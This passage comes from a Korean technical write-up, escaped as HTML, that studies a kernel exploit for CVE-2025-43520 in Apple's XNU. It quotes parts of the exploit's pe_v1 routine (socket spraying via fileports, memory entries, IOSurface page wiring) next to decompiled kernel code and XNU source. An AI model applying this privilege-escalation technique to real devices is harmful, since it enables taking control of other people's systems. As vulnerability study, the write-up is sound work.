     NSMutableArray&lt;NSNumber *&gt; *searchMappings = [NSMutableArray new];\n        for (uint64_t s = 0; s &lt; searchMappingNum; s++) {\n            mach_vm_address_t searchMappingAddress = 0;\n            kr = mach_vm_allocate(mach_task_self(), &amp;searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);\n            if (kr != KERN_SUCCESS) {\n                printf(&quot;[-] mach_vm_allocate failed!!!\\n&quot;);\n                FAILURE(0);\n            }\n            for (int k = 0; k &lt; searchMappingSize; k += PAGE_SIZE) {\n                *(uint64_t *)(searchMappingAddress + k) = randomMarker;\n            }\n            [searchMappings addObject:@(searchMappingAddress)];\n        }\n        ...\n\n<\/code><\/pre>\n<p>\uadf8\ub9bc\uc73c\ub85c \ud45c\ud604\ud558\uba74 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-04-27_17.50.18.excalidraw.png\" alt=\"Drawing 2026-04-27 17.50.18.excalidraw.png\"><\/p>\n<h2>pe_v1 (part 4)<\/h2>\n<p><code>socketPorts<\/code>, <code>socketPcbIds<\/code> \uc774\ub984\uc744 \uac00\uc9c4 \uc0c8\ub85c\uc6b4 \ubc30\uc5f4\uc744 \uc0dd\uc131\ud55c\ub2e4.\n\uadf8\ub9ac\uace0 <code>spray_socket<\/code> \ud568\uc218\ub97c \ucd1d 22528\ubc88\ub9cc\ud07c \ubc18\ubcf5 \uc218\ud589\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-objectivec\">void pe_v1(void) {\n...\n        socketPorts = [NSMutableArray new];\n        socketPcbIds = [NSMutableArray new];\n        unsigned socketPortsCount = 0;\n#define OPEN_MAX 10240\n        int maxfiles = OPEN_MAX * 3;\n        int leeway = 4096 * 2;\n        for (unsigned socketCount = 0; socketCount &lt; (maxfiles - leeway);   \/\/ 0 &lt; (22528)\n             socketCount++) {\n            mach_port_t port = spray_socket(socketPorts, socketPcbIds);\n            if (port == -1) {\n                printf(&quot;[-] Failed to spray sockets: %u\\n&quot;, socketCount);\n                break;\n            } else {\n                socketPortsCount++;\n            }\n        }\n        ...\n<\/code><\/pre>\n<h3>spray_socket<\/h3>\n<ol>\n<li>ICMPv6 \uc18c\ucf13\uc744 \ud1b5\ud574 \uc0dd\uc131\ub41c \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c mach port(fileport_t)\ud0c0\uc785\uc778 <code>fileport<\/code>\ub85c \ubcc0\ud658\uc2dc\ud0a4\uace0, \ubcc0\ud658\uc804 \uae30\uc874\uc758 \ub514\uc2a4\ud06c\ud301\ud130\ub294 \ub2eb\ub294\ub2e4.<\/li>\n<li><code>proc_info(PROC_PIDFILEPORTSOCKETINFO)<\/code>\uc744 \uc2dc\uc2a4\ud15c\ucf5c\ub85c \ud638\ucd9c\ud558\uc5ec \ud574\ub2f9 \uc18c\ucf13\uc758 <code>socket_fdinf<\/code> \uad6c\uc870\uccb4 \ud544\ub4dc\uac12\ub4e4 \uac00\uc838\uc640 PCB \uc2dd\ubcc4\uac12\uc778 \u00a0<code>inp_gencnt<\/code>\ub97c \ucd94\ucd9c\ud55c\ub2e4. \ucd94\ucd9c\ub418\ub294 \uc138\ubd80 \ud544\ub4dc\ub294 <code>socketInfo-&gt;psi.soi_proto.pri_in.insi_gencnt<\/code> \uac19\uc73c\uba70, \uc774\ub294 \uc544\ub798 xnu \ucf54\ub4dc\uc5d0 \uadfc\uac70\ud558\uc5ec \ucee4\ub110\uc5d0\uc11c\uc758 <code>socket-&gt;so_pcb-&gt;inp_gencnt<\/code>\uc640 \uac19\ub2e4.<\/li>\n<\/ol>\n<pre><code class=\"language-objectivec\">\/\/ xnu-12377.1.9\/bsd\/kern\/socket_info.c\nerrno_t\nfill_socketinfo(struct socket *so, struct socket_info *si)\n{\n...\n  domain = SOCK_DOM(so);\n        type = SOCK_TYPE(so);\n        protocol = SOCK_PROTO(so);\n        switch (domain) {\n        case PF_INET6: {\n                struct in_sockinfo *insi = &amp;si-&gt;soi_proto.pri_in;\n                struct inpcb *inp = (struct inpcb *)so-&gt;so_pcb;\n                ...\n                insi-&gt;insi_gencnt = inp-&gt;inp_gencnt;\n                ...\n<\/code><\/pre>\n<ol>\n<li>\ub9c8\uc9c0\ub9c9\uc73c\ub85c, \ubcc0\ud658\ub41c fileport\uc640 PCB \uc2dd\ubcc4\uac12\uc744 \uac01\uac01 <code>socketPorts<\/code>, <code>socketPcbIds<\/code> \uc774\ub984\uc744 \uac00\uc9c4 \ub450 NSMutableArray\uc5d0 \uc801\uc7ac\ud55c\ub2e4. \uc774\ud6c4 fileport\uac00 \uc81c\ub300\ub85c \ubcc0\ud658\ub418\uc5c8\ub294\uc9c0 \ud655\uc778\ud558\ub294 \ubaa9\uc801\uc73c\ub85c, outputSocketPort \uac12\uc744 \ubc18\ud658\ud55c\ub2e4.<\/li>\n<\/ol>\n<pre><code class=\"language-objectivec\">fileport_t spray_socket(NSMutableArray *socketPorts,\n                        NSMutableArray *socketPcbIds) {\n    \n    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);\n    if (fd == -1) {\n        printf(&quot;[-] socket create failed!!!&quot;);\n        return fd;\n    }\n\n    fileport_t outputSocketPort = 0;\n    fileport_makeport(fd, &amp;outputSocketPort);\n    close(fd);\n\n    \/\/ void *socketInfo = calloc(1, 0x400);\n    struct socket_fdinfo *socketInfo = (struct socket_fdinfo *)malloc(sizeof(struct socket_fdinfo));\/\/calloc(1, sizeof(struct socket_fdinfo));\n    int r = syscall(SYS_proc_info, PROC_INFO_CALL_PIDFILEPORTINFO, getpid(), PROC_PIDFILEPORTSOCKETINFO, outputSocketPort, socketInfo, 0x400);\n\n    \/*\n    (lldb) p\/x offsetof(socket_fdinfo, psi.soi_proto.pri_in.insi_gencnt)\n    (unsigned long) 0x0000000000000110\n    *\/\n    \/\/ uint64_t inp_gencnt = *(uint64_t *)((uintptr_t)socketInfo + 0x110);\n    uint64_t inp_gencnt = socketInfo-&gt;psi.soi_proto.pri_in.insi_gencnt;\n\n    [socketPorts addObject:@(outputSocketPort)];\n    [socketPcbIds addObject:@(inp_gencnt)];\n    return outputSocketPort;\n}\n<\/code><\/pre>\n<h2>pe_v1 (part 5)<\/h2>\n<p>8\uac1c\uc758 \uc0ac\uc6a9\uc790 \uac00\uc0c1\uc8fc\uc18c\uc601\uc5ed\uc778  <code>searchMappings<\/code>\ub97c \uc21c\ud68c\ud558\ub294 \ubc18\ubcf5\ubb38\uc774 \ubcf4\uc778\ub2e4. \ud574\ub2f9 \ubc18\ubcf5\ubb38 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p>8\uac1c \uc911 \ud558\ub098\uc758 \uc601\uc5ed\uc744 \uac00\ub9ac\ud0a4\ub294 \uba54\ubaa8\ub9ac \uc8fc\uc18c\uc5d0 \ub300\ud574 <code>mach_make_memory_entry_64<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud568\uc73c\ub85c\uc368  &quot;memory entry&quot;\ub97c \uc0dd\uc131\ud558\uae30 \ub54c\ubb38\uc5d0, \uc0ac\uc6a9\uc790\uacf5\uac04\uc5d0\uc11c \ucee4\ub110\uc774 \uad00\ub9ac\ud558\ub294 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc5d0 \ub300\ud55c Mach \ud3ec\ud2b8 \ud578\ub4e4\uc778 <code>memoryObject<\/code>\ub97c \uc5bb\uc5b4\uc628\ub2e4. \uc989, \uc0ac\uc6a9\uc790 VA\uac00 \uac00\ub9ac\ud0a4\ub294 \uba54\ubaa8\ub9ac\uc5d0 \ub300\ud55c \ud578\ub4e4\uc744 \ud558\ub098 \ub354 \ub9cc\ub4e4\uc5b4\uc900\ub2e4\uace0 \ubcf4\uba74 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-objectivec\">void pe_v1(void) {\n...\n        uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue;\n        uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue;\n        printf(&quot;[i] socketPortsCount: %u\\n&quot;, socketPortsCount);\n        printf(&quot;[i] startPcbId: %llu\\n&quot;, startPcbId);\n        printf(&quot;[i] endPcbId: %llu\\n&quot;, endPcbId);\n        bool success = false;\n        for (uint64_t s = 0; s &lt; searchMappingNum; s++) { \/\/ searchMappingNum = 8;\n            mach_vm_address_t searchMappingAddress =\n                searchMappings[s].unsignedLongLongValue;\n            printf(&quot;[i] looking in search mapping: %llu\\n&quot;, s);\n            mach_port_t memoryObject = 0;\n            mach_vm_size_t memoryObjectSize = searchMappingSize; \/\/ searchMappingSize = 0x8000000;\n            kr = mach_make_memory_entry_64(mach_task_self(), &amp;memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &amp;memoryObject, 0);\n            if (kr != KERN_SUCCESS) {\n                printf(&quot;[-] mach_make_memory_entry_64 failed!!!&quot;);\n                FAILURE(0);\n            }\n            ...\n<\/code><\/pre>\n<p>\uadf8\ub9bc\uc73c\ub85c \ud45c\ud604\ud558\uba74 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-04-27_17.50.18.excalidraw_1_1.png\" alt=\"Drawing 2026-04-27 17.50.18.excalidraw 1 1.png\"><\/p>\n<h2>pe_v1 (part 6)<\/h2>\n<pre><code class=\"language-objectivec\">void pe_v1(void) {\n   ...\n            surface_mlock(searchMappingAddress, searchMappingSize);\n   ...\n<\/code><\/pre>\n<h3>surface_mlock<\/h3>\n<p>\uc774\uc804\uc5d0\ub294 IOSurfaceMemoryRegion \ud0a4\uc640 PurpleGfxMem \uac12\uacfc \ub2ec\ub9ac, \uc774\ubc88\uc5d0\ub294 IOSurfaceAddress \ud0a4\uac12\uc744 \uc804\ub2ec\ud558\uc5ec IOSurfaceCreate\ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-objectivec\">void surface_mlock(uint64_t address, uint64_t size) {\n    gMlockDict[@(address)] =\n        (__bridge id)create_surface_with_address(address, size);\n}\n\nIOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) {\n    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef) @{\n        @&quot;IOSurfaceAddress&quot; : @(address),\n        @&quot;IOSurfaceAllocSize&quot; : @(size)\n    });\n\n    IOSurfacePrefetchPages(surface);\n\n    return surface;\n}\n<\/code><\/pre>\n<h3>IOSurfaceRootUserClient::create_surface<\/h3>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c, \uc544\ub798 \ud568\uc218\ub4e4\uc744 \uac70\uce58\uac8c \ub418\uba70\n<code>IOSurfaceRootUserClient::s_create_surface<\/code>\n\u2192 <code>IOSurfaceRootUserClient::create_surface<\/code>\n\u2192 <code>IOSurfaceRoot::createSurface<\/code>\n\u2192 <code>IOSurface::init<\/code>\n\u2192 <code>IOSurface::parse_properties<\/code><\/p>\n<p><code>IOSurface::parse_properties<\/code> \uc5d0\uc11c IOSurfaceAddress \ud0a4 \uac12\uc744 \ud30c\uc2f1\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_2.37.36_PM.png\" alt=\"Screenshot 2026-04-28 at 2.37.36\u202fPM.png\"><\/p>\n<p>\uc544\ub798\uc640 \uac19\uc774<code>IOSurface::parse_properties<\/code> \ud638\ucd9c\ud558\uace0 \ub098\uba74, <code>IOSurface::allocate<\/code>\ub97c \ud638\ucd9c\ud55c\ub2e4.\n\u2026\n\u2192 <code>IOSurface::init<\/code>\n\u2192 <code>IOSurface::allocate<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_2.40.21_PM.png\" alt=\"Screenshot 2026-04-28 at 2.40.21\u202fPM.png\"><\/p>\n<p>\uc774\uc804\uc5d0 PurpleGfxMem \ud0a4\uac12\uc5d0 \uc758\ud574 \uc0ac\uc6a9\uc790\uc8fc\uc18c\uc640 \ub9f5\ud551\ud588\ub358 \uac83\uacfc\ub294 \ub2ec\ub9ac, \ub9f5\ud551\uc744 \uc218\ud589\ud558\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n<p>\ubc31\ud0b9\uc744 \uc218\ud589\ud558\ub294\ub370, \uc5ec\uae30\uc11c \ubc31\ud0b9\uc774\ub780, \uac00\uc0c1 \uba54\ubaa8\ub9ac \uc2dc\uc2a4\ud15c\uc758 \ubaa8\ub4e0 \ucd94\uc0c1 \uac1d\uccb4\ub85c, \ub2e8\uc9c0 &quot;\uc774 \uc790\ub9ac\uc5d0 \ubb34\uc5b8\uac00 \uc788\ub2e4&quot;\uace0 \uc57d\uc18d\ud558\ub294 \uba85\ud568\uc774\ub77c\uace0 \ubcf4\uba74 \ub41c\ub2e4. \uadf8 \uc57d\uc18d\uc744 \uc2e4\uc81c\ub85c \uc9c0\ucf1c\uc8fc\ub294 \uc9c4\uc9dc \ub370\uc774\ud130\uac00 \uc800\uc7a5\ub41c \ubb34\uc5b8\uac00\uac00 \ud56d\uc0c1 \ub4a4\uc5d0 \uc788\uc5b4\uc57c \ud558\ub294\ub370, \uadf8\uac83\uc744 \ubc31\ud0b9(backing) \/ \ubc31\ud0b9 \uc2a4\ud1a0\uc5b4(backing store) \ub77c\uace0\ub3c4 \ubd80\ub978\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \uc774\ubc88\uc5d0\ub294 \ub9f5\ud551\uc744 \uc218\ud589\ud558\uc9c0 \uc54a\uace0 \uc720\uc800\uac00 \uc774\ubbf8 \uac00\uc9c0\uace0 \uc788\ub294 VA\ub97c \ubc31\ud0b9\uc73c\ub85c \ub4f1\ub85d\ub9cc \ud55c\ub2e4.<\/p>\n<p>\uc544\ub798 \ucf54\ub4dc\ub97c \ubcf4\ub2e4\uc2dc\ud53c <code>IOMemoryDescriptor::withAddressRange<\/code> \uc73c\ub85c \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c \uc0dd\uc131\ud558\uba70, <code>IOSurface::internalSetMemoryDescriptor<\/code> \ub97c \ud1b5\ud574 \ubc31\ud0b9\uc73c\ub85c \ubb36\ub294\ub2e4.<\/p>\n<p>\ucc38\uace0\ub85c, xnu-12377.1.9\/iokit\/IOKit\/IOMemoryDescriptor.h \uc18c\uc2a4\ucf54\ub4dc\uc5d0 \ub530\ub974\uba74,\n<code>IOMemoryDescriptor::withAddressRange<\/code> \uc5d0\uc11c\uc758 0x110003 \uac12\uc740 kIOMemoryThreadSafe, kIOMemoryPersistent, kIODirectionOutIn \ube44\ud2b8\uac12\uc774 \uc138\ud2b8\ub41c \uac12\uc774\ub2e4. \uc774\ub294 \uac01\uac01 \ub2e4\uc74c \uc758\ubbf8\ub97c \uac00\uc9c4\ub2e4.<\/p>\n<p><code>0x00010000<\/code> \u2014 <code>kIOMemoryPersistent<\/code><\/p>\n<blockquote>\n<p>\ud504\ub85c\uc138\uc2a4\uac00 \uc0ac\ub77c\uc838\ub3c4 \ubc31\ud0b9\uc774 \uc720\uc9c0\ub420 \uc218 \uc788\uac8c \ud574 \ub2ec\ub77c<\/p>\n<\/blockquote>\n<p><code>0x00100000<\/code> \u2014 <code>kIOMemoryThreadSafe<\/code><\/p>\n<blockquote>\n<p>\uc774 \ub514\uc2a4\ud06c\ub9bd\ud130\uc758 \ub0b4\ubd80 \uc0c1\ud0dc\ub97c \ub3d9\uc2dc \uc811\uadfc\uc73c\ub85c\ubd80\ud130 \ubcf4\ud638\ud558\ub77c<\/p>\n<\/blockquote>\n<p><code>0x00000003<\/code> \u2014 <code>kIODirectionOutIn<\/code><\/p>\n<blockquote>\n<p>3 = kIODirectionOutIn (\uc591\ubc29\ud5a5, RW)<\/p>\n<\/blockquote>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_2.47.32_PM.png\" alt=\"Screenshot 2026-04-28 at 2.47.32\u202fPM.png\"><\/p>\n<p>\uc5ec\uae30\uae4c\uc9c0\ub9cc \uc0b4\ud3b4\ubd10\ub3c4 \ub418\uaca0\uc9c0\ub9cc, \uc870\uae08\ub9cc \ub354 \uc54c\uc544\ubcf4\uc790.<\/p>\n<p>\ub2e4\uc74c\uc73c\ub85c, <code>IOSurface::allocate<\/code> \ud638\ucd9c \ud6c4\uc5d0\ub294 <code>IOSurfaceRoot::set_surfaceid_with_handle<\/code>\ub97c \ud638\ucd9c\ud55c\ub2e4. IOSurfaceRoot\uac00 \uac00\uc9c0\uace0 \uc788\ub294 \uc804\uc5ed IOSurface \ubc30\uc5f4\uc758 \uc2ac\ub86f\uc5d0 IOSurface \ud3ec\uc778\ud130\ub97c \ub4f1\ub85d\ud558\uba70, \uc5ec\uae30\uae4c\uc9c0\uac00 <code>IOSurface::init<\/code> \uc0b4\ud3b4\ubcf8 \ub0b4\uc6a9\uc774 \ub418\uaca0\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_3.07.26_PM.png\" alt=\"Screenshot 2026-04-28 at 3.07.26\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_3.06.19_PM.png\" alt=\"Screenshot 2026-04-28 at 3.06.19\u202fPM.png\"><\/p>\n<p>\uc774\ud6c4\uc5d0\ub294 <code>IOSurfaceRootUserClient::create_surface<\/code> \ucf54\ub4dc\ub97c \ubcf4\uba74 \uc54c\uac8c \ub418\uaca0\uc9c0\ub9cc, \uc0dd\uc131\ub41c <code>IOSurface<\/code> \ub294<code>IOSurfaceClient::init<\/code>\u2192<code>IOSurfaceRootUserClient::set_surface_handle<\/code>\uc5d0\uc11c surface_id \uc778\ub371\uc2a4\uc5d0 \ud574\ub2f9\ub418\ub294 \u00a0<code>m_IOSurfaceClientArrayPointer<\/code> \uc2ac\ub86f\uc5d0 IOSurfaceClient \uac1d\uccb4\ub97c \ub4f1\ub85d\ud55c\ub2e4.\n(\ucc38\uace0\ub85c, surface_id\ub294 \uc774\uc804\uc5d0 \uc0b4\ud3b4\ubd24\ub358 <code>IOSurface::init<\/code> \u2192 <code>IOSurfaceRoot::alloc_surfaceid<\/code>\uc5d0\uc11c surface_id\ub97c \ucc98\uc74c \ubc1c\uae09\ubc1b\ub294\ub2e4.)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_3.43.31_PM.png\" alt=\"Screenshot 2026-04-28 at 3.43.31\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_3.42.40_PM.png\" alt=\"Screenshot 2026-04-28 at 3.42.40\u202fPM.png\"><\/p>\n<p><\/p>\n<h3>IOSurfaceRootUserClient::prefetch_pages (part 1)<\/h3>\n<p>\uc720\uc800\ub79c\ub4dc\uc5d0\uc11c\uc758 <code>IOSurfacePrefetchPages<\/code> \ud638\ucd9c\uc740\n\uc2e4\uc9c8\uc801\uc73c\ub860 \ucee4\ub110\uc758 <code>IOSurfaceRootUserClient::prefetch_pages<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uac8c \ub9cc\ub4e0\ub2e4.<\/p>\n<pre><code class=\"language-objectivec\">IOSurfacePrefetchPages(surface);\n<\/code><\/pre>\n<p>\ub0b4\ubd80\uc801\uc73c\ub85c a2\uc778 surface_id\ub97c \ub118\uae30\uac8c \ub418\ub294\ub370,\nIOSurfaceRootUserClient \uac1d\uccb4\uc758 <code>m_IOSurfaceClientArrayPointer<\/code> \uc2ac\ub86f\uc5d0\uc11c surface_id\uc5d0 \ud574\ub2f9\ub418\ub294 IOSurfaceClient\ub97c \ucc3e\ub294\ub2e4. \ud574\ub2f9\ub418\ub294 IOSurfaceClient \uac1d\uccb4\ub97c \ubc1c\uacac\ud558\uba74, IOSurface \uac1d\uccb4\ub97c \uc778\uc790\ub85c \ub150\uaca8 <code>IOSurface::prepare<\/code>, <code>IOSurface::complete<\/code> \ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-objectivec\">__int64 __fastcall IOSurfaceRootUserClient::prefetch_pages(IOSurfaceRootUserClient *this, uint32_t a2)\n{\n  __int64 v4; \/\/ x20\n  IOSurfaceClient *v5; \/\/ x21\n\n  v4 = 3758097090LL;\n  j__IOLockLock_59(this-&gt;lock);\n  if ( a2 )\n  {\n    if ( this-&gt;i_surfaceClientCapacity &gt; a2 )\n    {\n      v5 = this-&gt;m_IOSurfaceClientArrayPointer[a2];\n      if ( v5 )\n      {\n        v4 = IOSurface::prepare(v5-&gt;surface);\n        if ( !(_DWORD)v4 )\n          IOSurface::complete(v5-&gt;surface);\n      }\n    }\n  }\n  j__IOLockUnlock_60(this-&gt;lock);\n  return v4;\n}\n<\/code><\/pre>\n<h3>IOSurface::prepare<\/h3>\n<p><code>IOSurface::prepare<\/code>\ub294 \ub0b4\ubd80\uc801\uc73c\ub85c <code>IOGeneralMemoryDescriptor::prepare<\/code> \ub97c \ud638\ucd9c\ud558\uba70,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-04-28_at_4.02.38_PM.png\" alt=\"Screenshot 2026-04-28 at 4.02.38\u202fPM.png\"><\/p>\n<h3>IOGeneralMemoryDescriptor::prepare<\/h3>\n<p><code>wireVirtual()<\/code>\uc5d0 \uc758\ud574 \uc2e4\uc81c\ub85c \ud398\uc774\uc9c0\uc778\uc744 \uc9c4\ud589\ud558\uba70 wireCount\ub97c 1 \uc99d\uac00\uc2dc\ud0a8\ub2e4. \uc5ec\uae30\uc11c wire\ub77c\ub294 \uc758\ubbf8\ub294 \ud398\uc774\uc9c0\ub97c RAM \uc5d0\uc11c \ubabb \ube7c\uac8c \uc7a0\uadf8\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<p>\ucd94\uac00\ub85c, \u201c\ud398\uc774\uc9c0 \uc778\u201d\uc740 \ub514\uc2a4\ud06c\/\uc2a4\uc651\uc5d0 \uc788\ub358 \ud398\uc774\uc9c0\ub97c RAM \uc73c\ub85c \ub2e4\uc2dc \uac00\uc838\uc624\ub294 \uac83\uc744 \uc758\ubbf8\ud558\uba70, \uadf8 \ubc18\ub300\uc778 \u201c\ud398\uc774\uc9c0 \uc544\uc6c3\u201d\uc740 \uc548 \uc4f0\ub294 \ud398\uc774\uc9c0\ub97c RAM \uc5d0\uc11c \ub0b4\ucad3\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ \/xnu-12377.1.9\/iokit\/Kernel\/IOMemoryDescriptor.cpp\n\n\/*\n * prepare\n *\n * Prepare the memory for an I\/O transfer.  This involves paging in\n * the memory, if necessary, and wiring it down for the duration of\n * the transfer.  The complete() method completes the processing of\n * the memory after the I\/O transfer finishes.  This method needn't\n * called for non-pageable memory.\n *\/\n\nIOReturn\nIOGeneralMemoryDescriptor::prepare(IODirection forDirection)\n{\n        IOReturn     error    = kIOReturnSuccess;\n        IOOptionBits type = _flags &amp; kIOMemoryTypeMask;\n        \/\/ ...\n\n        if (kIOMemoryTypeVirtual == type || kIOMemoryTypeVirtual64 == type || kIOMemoryTypeUIO == type) {\n                if ((forDirection &amp; kIODirectionPrepareAvoidThrottling) &amp;&amp; NEED_TO_HARD_THROTTLE_THIS_TASK()) {\n                        error = kIOReturnNotReady;\n                        goto finish;\n                }\n                error = wireVirtual(forDirection);\n        }\n        \n        if (kIOReturnSuccess == error) {\n                if (1 == ++_wireCount) {\n                ...\n        \/\/ ...\n        return error;\n}\n<\/code><\/pre>\n<h3>IOGeneralMemoryDescriptor::wireVirtual<\/h3>\n<p>\ud50c\ub798\uadf8\uc5d0 <code>UPL_SET_IO_WIRE<\/code>\/<code>UPL_SET_LITE<\/code>\ub97c \uc138\ud2b8\ud558\uace0 UPL\uc744 \uc0dd\uc131\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4. \uc5ec\uae30\uc11c UPL(<strong>Universal Page Lists<\/strong>)\uc774\ub780 \ubc31\ud0b9 \uc2a4\ud1a0\uc5b4(backing store)\ub85c\ubd80\ud130 \ucc44\uc6cc\uc9c0\uac70\ub098 \ubc31\ud0b9 \uc2a4\ud1a0\uc5b4\ub85c \ucee4\ubc0b\ub420 \ud398\uc774\uc9c0 \uc9d1\ud569\uc744 \uc758\ubbf8\ud55c\ub2e4. UPL\uc740 \uc774\ub7ec\ud55c \ud398\uc774\uc9c0\uc758 \uc18d\uc131(WIMG, \uad8c\ud55c \ub4f1)\uc744 \uc81c\uc5b4\ud558\uba70, \ud398\uc774\uc9c0 \ub0b4\uc6a9\uc744 \ucc44\uc6b0\uac70\ub098 \ub3d9\uae30\ud654\ud558\ub294 \ub370\uc5d0\ub3c4 \uc0ac\uc6a9\ub41c\ub2e4.<\/p>\n<p>\uc27d\uac8c \ub9d0\ud558\uc790\uba74, \uc5b4\ub5a4 \uac00\uc0c1 \uc601\uc5ed\uc5d0 \ub300\ud574 \u201c\uc774 \uc601\uc5ed\uc744 \uad6c\uc131\ud558\ub294 \ubb3c\ub9ac \ud398\uc774\uc9c0\ub4e4\uc774 \ub204\uad6c\ub204\uad6c\ub2e4\u201d \ub97c \ucd94\uc0c1\ud654\ud55c \uac1d\uccb4\ub77c\uace0 \ubcf4\uba74 \ub420 \ub4ef \uc2f6\ub2e4.<\/p>\n<p>UPL \uc0dd\uc131\uc740 \ucf00\uc774\uc2a4\uc5d0 \ub530\ub77c \ub2e4\uc591\ud558\uac8c \ucc98\ub9ac\ud560 \uc218 \uc788\ub294\ub370<\/p>\n<ul>\n<li>VM map \ucc98\ub9ac\uc5d0\uc11c\ub294 <code>vm_map_create_upl()<\/code>\uc744 \ud638\ucd9c<\/li>\n<li>VM object \ucc98\ub9ac\uc5d0\uc11c\ub294 <code>vm_object_[upl\/iopl]_request<\/code>\ub97c \ud638\ucd9c<\/li>\n<li>\ud398\uc774\uc800\ub294 <code>memory_object_[upl\/iopl]_request<\/code>\ub97c \ud638\ucd9c.(<code>[vm\/memory]_object_super_upl_request<\/code> \ubcc0\ud615\ub3c4 \uc874\uc7ac\ud568)<\/li>\n<li>\ub9c8\uc9c0\ub9c9\uc73c\ub85c, VFS\uc758 <code>cluster_[write\/read]_direct<\/code>\uc5d0\uc11c \uc0ac\uc6a9\ub418\ub294 <code>vector_upl_create()<\/code>\ub3c4 \uc874\uc7ac\ud568.<\/li>\n<\/ul>\n<pre><code class=\"language-c\">IOGeneralMemoryDescriptor::wireVirtual(IODirection forDirection)\n{\n        IOOptionBits type = _flags &amp; kIOMemoryTypeMask;\n        IOReturn error = kIOReturnSuccess;\n        \/\/...\n        if (_wireCount) {\n                if ((kIOMemoryPreparedReadOnly &amp; _flags) &amp;&amp; !(UPL_COPYOUT_FROM &amp; uplFlags)) {\n                        OSReportWithBacktrace(&quot;IOMemoryDescriptor 0x%zx prepared read only&quot;,\n                            (size_t)VM_KERNEL_ADDRPERM(this));\n                        error = kIOReturnNotWritable;\n                }\n        } else {\n                \/\/...\n                uplFlags |= UPL_SET_IO_WIRE | UPL_SET_LITE;\n                \/\/...\n                for (UInt range = 0; mdOffset &lt; _length; range++) {\n                        \/\/...\n                        \/\/ Iterate over the current range, creating UPLs\n                        while (numBytes) {\n                                \/\/...\n                                upl_control_flags_t ioplFlags = uplFlags;\n                                \/\/...\n                                if (_memRef) {\n                                        memory_object_offset_t entryOffset;\n\n                                        entryOffset = mdOffset;\n                                        if (byteAlignUPL) {\n                                                entryOffset = (entryOffset - memRefEntry-&gt;offset);\n                                        } else {\n                                                entryOffset = (entryOffset - iopl.fPageOffset - memRefEntry-&gt;offset);\n                                        }\n                                        if (ioplSize &gt; (memRefEntry-&gt;size - entryOffset)) {\n                                                ioplSize =  ((typeof(ioplSize))(memRefEntry-&gt;size - entryOffset));\n                                        }\n                                        error = memory_object_iopl_request(memRefEntry-&gt;entry,\n                                            entryOffset,\n                                            &amp;ioplSize,\n                                            &amp;iopl.fIOPL,\n                                            baseInfo,\n                                            &amp;numPageInfo,\n                                            &amp;ioplFlags,\n                                            tag);\n                                } else if ((theMap == kernel_map)\n                                    &amp;&amp; (kernelStart &gt;= io_kernel_static_start)\n                                    &amp;&amp; (kernelStart &lt; io_kernel_static_end)) {\n                                        error = io_get_kernel_static_upl(theMap,\n                                            kernelStart,\n                                            &amp;ioplSize,\n                                            &amp;iopl.fPageOffset,\n                                            &amp;iopl.fIOPL,\n                                            baseInfo,\n                                            